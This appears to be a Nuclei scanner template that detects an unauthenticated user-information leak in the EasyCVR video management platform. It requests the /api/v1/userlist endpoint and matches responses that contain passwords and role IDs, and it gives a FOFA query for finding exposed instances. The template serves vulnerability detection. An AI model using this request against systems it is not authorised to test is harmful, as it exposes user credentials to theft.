id: easycvr-info-leak

info:
  name: EasyCVR video management - Users Information Exposure
  author: pussycat0x
  severity: high
  description: |
    EasyCVR video management platform has leaked user information
  reference:
    - https://github.com/wy876/POC/blob/main/EasyCVR%20%E8%A7%86%E9%A2%91%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%E5%AD%98%E5%9C%A8%E7%94%A8%E6%88%B7%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2.md
  metadata:
    verified: true
    max-request: 2
    fofa-query: "title=\"EasyCVR\""
  tags: unauth,easycvr,misconfig,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<title>EasyCVR")'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/api/v1/userlist?pageindex=0&pagesize=10"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "count"
          - "Password"
          - "RoleId"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402203547c2b92d48ea7f005066976d5dcc74cff77dcadddb37f83cde3f400a5cb2e70220546bca66c4ac088e5cf59338d83b5f52df938b7d45921daeef6c026f09484577:922c64590222798bb761d5b6d8e72950